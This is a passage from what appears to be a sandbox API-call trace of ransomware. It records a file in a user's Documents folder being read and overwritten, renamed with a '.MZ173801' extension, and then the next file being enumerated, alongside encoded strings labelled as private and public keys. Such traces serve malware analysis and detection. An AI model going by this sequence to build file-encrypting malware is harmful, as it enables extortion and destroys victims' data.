3C1Yw", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0167.456] GetCurrentThreadId () returned 0xab4 [0167.456] GetCurrentThreadId () returned 0xab4 [0167.456] GetCurrentThreadId () returned 0xab4 [0167.456] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0167.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0167.457] GetCurrentThreadId () returned 0xab4 [0167.457] GetCurrentThreadId () returned 0xab4 [0167.457] GetCurrentThreadId () returned 0xab4 [0167.457] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\aIJExqDF7Y-Vj3MR.docx" (normalized: "c:\\users\\fd1hvy\\documents\\aijexqdf7y-vj3mr.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0167.457] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0167.457] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0167.457] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x5a50 [0167.457] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0167.457] ReadFile (in: hFile=0x278, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x5a50, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x5a50, lpOverlapped=0x0) returned 1 [0167.458] CloseHandle (hObject=0x278) returned 1 [0167.459] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\aIJExqDF7Y-Vj3MR.docx" (normalized: "c:\\users\\fd1hvy\\documents\\aijexqdf7y-vj3mr.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0167.460] WriteFile (in: hFile=0x278, lpBuffer=0x24a6040*, nNumberOfBytesToWrite=0x5a50, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24a6040*, lpNumberOfBytesWritten=0x19fa24*=0x5a50, lpOverlapped=0x0) returned 1 [0167.461] CloseHandle (hObject=0x278) returned 1 [0167.463] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\aIJExqDF7Y-Vj3MR.docx" (normalized: "c:\\users\\fd1hvy\\documents\\aijexqdf7y-vj3mr.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\aIJExqDF7Y-Vj3MR.docx.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\aijexqdf7y-vj3mr.docx.mz173801")) returned 1 [0167.464] GetCurrentThreadId () returned 0xab4 [0167.464] GetCurrentThreadId () returned 0xab4 [0167.464] GetCurrentThreadId () returned 0xab4 [0167.464] GetCurrentThreadId () returned 0xab4 [0167.464] GetCurrentThreadId () returned 0xab4 [0167.464] GetCurrentThreadId () returned 0xab4 [0167.464] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24881270, ftCreationTime.dwHighDateTime=0x1d5b1fc, ftLastAccessTime.dwLowDateTime=0xe9362b50, ftLastAccessTime.dwHighDateTime=0x1d5709f, ftLastWriteTime.dwLowDateTime=0xe9362b50, ftLastWriteTime.dwHighDateTime=0x1d5709f, nFileSizeHigh=0x0, nFileSizeLow=0x131c8, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="bx_sreHB6g Fc-Lx.xlsx", cAlternateFileName="BX_SRE~1.XLS")) returned 1 [0167.464] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0167.464] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0167.464] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\bx_sreHB6g Fc-Lx.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\bx_srehb6g fc-lx.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24881270, ftCreationTime.dwHighDateTime=0x1d5b1fc, ftLastAccessTime.dwLowDateTime=0xe9362b50, ftLastAccessTime.dwHighDateTime=0x1d5709f, ftLastWriteTime.dwLowDateTime=0xe9362b50, ftLastWriteTime.dwHighDateTime=0x1d5709f, nFileSizeHigh=0x0, nFileSizeLow=0x131c8)) returned 1 [0167.464] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\bx_sreHB6g Fc-Lx.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\bx_srehb6g fc-lx.xlsx")) returned 0x20 [0167.464] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\bx_sreHB6g Fc-Lx.xlsx", dwFileAttributes=0x80) returned 1 [0167.466] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0167.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0167.468] GetCurrentThreadId () returned 0xab4 [0167.468] GetCurrentThreadId () returned 0xab4 [0167.468] GetCurrentThreadId () returned 0xab4 [0167.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 